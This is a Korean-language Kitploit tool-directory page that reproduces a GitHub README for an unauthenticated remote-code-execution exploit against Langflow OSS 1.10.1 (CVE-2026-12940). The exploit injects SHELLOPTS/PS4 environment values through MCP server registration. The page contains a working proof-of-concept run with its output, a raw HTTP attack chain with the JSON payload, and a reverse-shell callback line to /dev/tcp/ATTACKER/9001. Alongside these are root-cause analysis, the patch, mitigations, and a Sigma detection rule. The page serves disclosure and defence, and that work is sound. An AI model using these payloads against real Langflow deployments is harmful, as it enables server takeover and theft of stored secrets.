Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-12940-Langflow-Unauth-RCE — CVE-2026-12940 — Langflow OSS <=1.10.1의 MCP stdio 환경 변수 주입(SHELLOPTS/PS4)을 통한 인증 없는 원격 코드 실행(RCE). 작성자 PoC + 소스 분석 + 랩. | Kitploit
도구/GitHubGitHub/biitts/cve-2026-12940-langflow-unauth-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubbiitts/cve-2026-12940-langflow-unauth-rce

CVE-2026-12940-Langflow-Unauth-RCE

CVE-2026-12940 — Langflow OSS <=1.10.1의 MCP stdio 환경 변수 주입(SHELLOPTS/PS4)을 통한 인증 없는 원격 코드 실행(RCE). 작성자 PoC + 소스 분석 + 랩.

저장소 보기
121개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-12940 — Langflow OSS ≤ 1.10.1 인증되지 않은 RCE (MCP stdio 환경변수 주입)

1.10.1까지의 Langflow OSS에서 발생하는 인증되지 않은 원격 코드 실행 취약점입니다. MCP stdio 서버 구성을 보호하는 환경변수 블랙리스트(DANGEROUS_ENV_VARS)에 SHELLOPTS, BASHOPTS, PS4가 누락되어 있습니다. MCP stdio 런처가 구성된 명령어를 bash -c로 실행하기 때문에, 공격자는 SHELLOPTS=xtrace와 PS4 명령어 치환을 주입하여 Langflow 프로세스 사용자 권한으로 임의의 셸 명령어를 실행할 수 있습니다. 기본 설치에서는 유효한 MCP 명령어도, 인증도 필요하지 않습니다.

CVECVE-2026-12940
제품Langflow OSS
영향 범위1.0.0 – 1.10.1
수정 버전1.10.2
유형환경변수 주입을 통한 OS 명령어 주입 (CWE-78)
CVSS 3.19.8 치명적(CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA)
인증기본 설치 시 인증 불필요 (1.10.1에서 AUTO_LOGIN 기본 활성화)
상태취약점 확인됨(CONFIRMED VULNERABLE) — langflowai/langflow:1.10.1에서 엔드투엔드 검증 완료

근본 원인

Langflow는 사용자가 POST /api/v2/mcp/servers/{name}를 통해 외부 MCP(Model Context Protocol) stdio 서버를 등록할 수 있게 합니다. 요청 본문은 MCPServerConfig(src/backend/base/langflow/api/v2/schemas.py)에 의해 검증되며, 이 스키마는 command, args 및 env **키(key)**를 신중하게 검사합니다:

  • command는 허용 목록(node, python, npx, uvx, docker, sh, bash…)에 포함되어야 합니다.
  • args는 셸 메타문자(;, |, $, `, (, ), …)와 위험한 키워드(-c, eval, pip install, …)가 있는지 검사됩니다.
  • env **키(key)**는 DANGEROUS_ENV_VARS(LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …)와 대조하여 검사됩니다.

다음 두 가지 허점이 결합되어 RCE로 이어집니다:

  1. env 값은 전혀 정화(sanitize)되지 않습니다. 블랙리스트에 대조되는 것은 키뿐이며, *값(value)*은 그대로 전달됩니다. 따라서 args 안에서 동일한 문자가 거부될지라도 $(id)라는 PS4 값은 그대로 살아남습니다.

  2. 블랙리스트가 불완전합니다. 1.10.1에서 DANGEROUS_ENV_VARS에는 shellopts, bashopts, ps4가 포함되어 있지 않습니다.

그러면 런처(src/lfx/src/lfx/base/mcp/util.py)가 Unix에서 다음과 같이 실행합니다:

root@kitploit:~
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
    command="bash",
    args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
    env=env_data,
)

SHELLOPTS=xtrace가 설정되면 bash는 시작 시 set -x를 활성화하고, 추적되는 첫 번째 줄을 실행하기 전에 PS4 프롬프트를 확장합니다. 따라서 PS4 내부의 명령어 치환은 즉시 실행됩니다. command/args는 유효할 필요조차 없으며, 이와 완전히 독립적으로 동작합니다.

수정 사항 (1.10.2)

블랙리스트는 src/lfx/src/lfx/base/mcp/util.py에 DANGEROUS_MCP_ENV_VARS로 중앙화되었으며 shellopts, bashopts, ps4(그리고 심층 방어 차원의 env)가 추가되었습니다. schemas.py는 이제 is_dangerous_mcp_env_var()을 호출합니다. 아래의 등록 요청은 1.10.2에서 HTTP 422로 거부됩니다.

개념 증명(PoC)

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4    : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user

$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)

원시 HTTP 체인:

root@kitploit:~
GET /api/v1/auto_login HTTP/1.1            → 200, {"access_token":"…"}   (default install, no creds)

POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json

{"command":"uvx","args":["mcp-server-fetch"],
 "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
                                            → 200 (accepted; LD_PRELOAD here → 422)

GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
                                            → 200, launcher spawns bash → PS4 runs `id`

--ps4는 리버스 셸 / OAST 콜백을 위한 원시 프리미티브를 제공합니다:

root@kitploit:~
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'

실습 환경 재현

root@kitploit:~
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
#   (this box has no docker bridge; --network host is required)
#   Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof

수정 버전 경계(거부됨):

root@kitploit:~
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS  →  HTTP 422
#   "Environment variable 'SHELLOPTS' is not allowed for security reasons"

전체 캡처 트랜스크립트는 EVIDENCE.txt에서, 소스 수준 분석 내용은 ANALYSIS.md에서 확인하십시오.

판정

langflowai/langflow:1.10.1에서 취약점 확인됨(CONFIRMED VULNERABLE) — 두 가지 독립적인 기법으로 검증되었습니다:

  1. 실제 출력이 기록된 파일 생성 — 요청 전에는 존재하지 않던 파일에 uid=1000(user) gid=0(root) groups=0(root)가 포함되어 있습니다. 이는 대상의 /etc/passwd를 기준으로 해석된 id(1)의 실제 출력입니다. 입력 문자열 $(id …)를 단순히 반향(echo)한 것이 아닙니다.
  2. 대역외(Out-of-band) TCP 콜백 — 대상이 실제 호스트명과 커널 정보를 담아 공격자 리스너로 다시 연결합니다(CALLBACK user@vbox 6.18.12+kali-amd64).

langflowai/langflow:1.10.2에서는 패치됨(PATCHED) — 동일한 등록 요청이 HTTP 422를 반환합니다.

인증 불필요 주장에 대한 참고 사항. 1.10.1 이미지는 기본적으로 AUTO_LOGIN이 활성화된 상태로 제공되므로, /api/v1/auto_login은 자격 증명 없이도 모든 호출자에게 슈퍼유저 토큰을 반환합니다. 이것이 기본 배포에서 전체 공격 체인이 인증 없이 성립하는 이유입니다. 인증이 강제되는 인스턴스에서는 유효한 토큰/API 키를 가진 모든 인증 사용자가 동일한 RCE에 도달할 수 있습니다(--token을 통해 전달). 1.10.2 이미지는 시작 시 자격 증명을 요구하는데, 이는 관련 없는 별도의 하드닝 조치입니다.

영향

Langflow 서비스 계정 권한으로 임의의 명령어를 실행할 수 있습니다. Langflow 데이터베이스의 모든 시크릿, 자격 증명 및 플로우를 완전히 읽을 수 있고, 내부 서비스와 클라우드 메타데이터에 접근할 수 있으며, 주변 네트워크로 피벗할 수 있습니다.

대응 방안

  • Langflow OSS ≥ 1.10.2로 업그레이드하십시오.
  • AUTO_LOGIN이 활성화된 상태로 Langflow를 신뢰할 수 없는 네트워크에 노출하지 마십시오. 명시적인 슈퍼유저 자격 증명을 설정하고 자동 로그인을 비활성화하십시오.
  • 심층 방어: 아웃바운드 네트워크 연결(egress)이 없는 제한된 계정으로 서비스를 실행하십시오.

탐지

env에 셸 제어 변수를 담은 MCP 서버 등록과, Langflow 프로세스의 자식 프로세스로 실행되는 bash를 찾으십시오:

root@kitploit:~
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …"  parented by the langflow/gunicorn worker

Sigma 규칙 (프로세스 생성):

root@kitploit:~
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
  selection:
    Image|endswith: '/bash'
    CommandLine|contains: 'exec '
    ParentImage|contains: 'langflow'
  env_marker:
    CommandLine|contains:
      - 'SHELLOPTS'
      - 'PS4=$('
  condition: selection or env_marker
level: high

라이선스

© Caio Fabrício (BiiTts).

도구 다운로드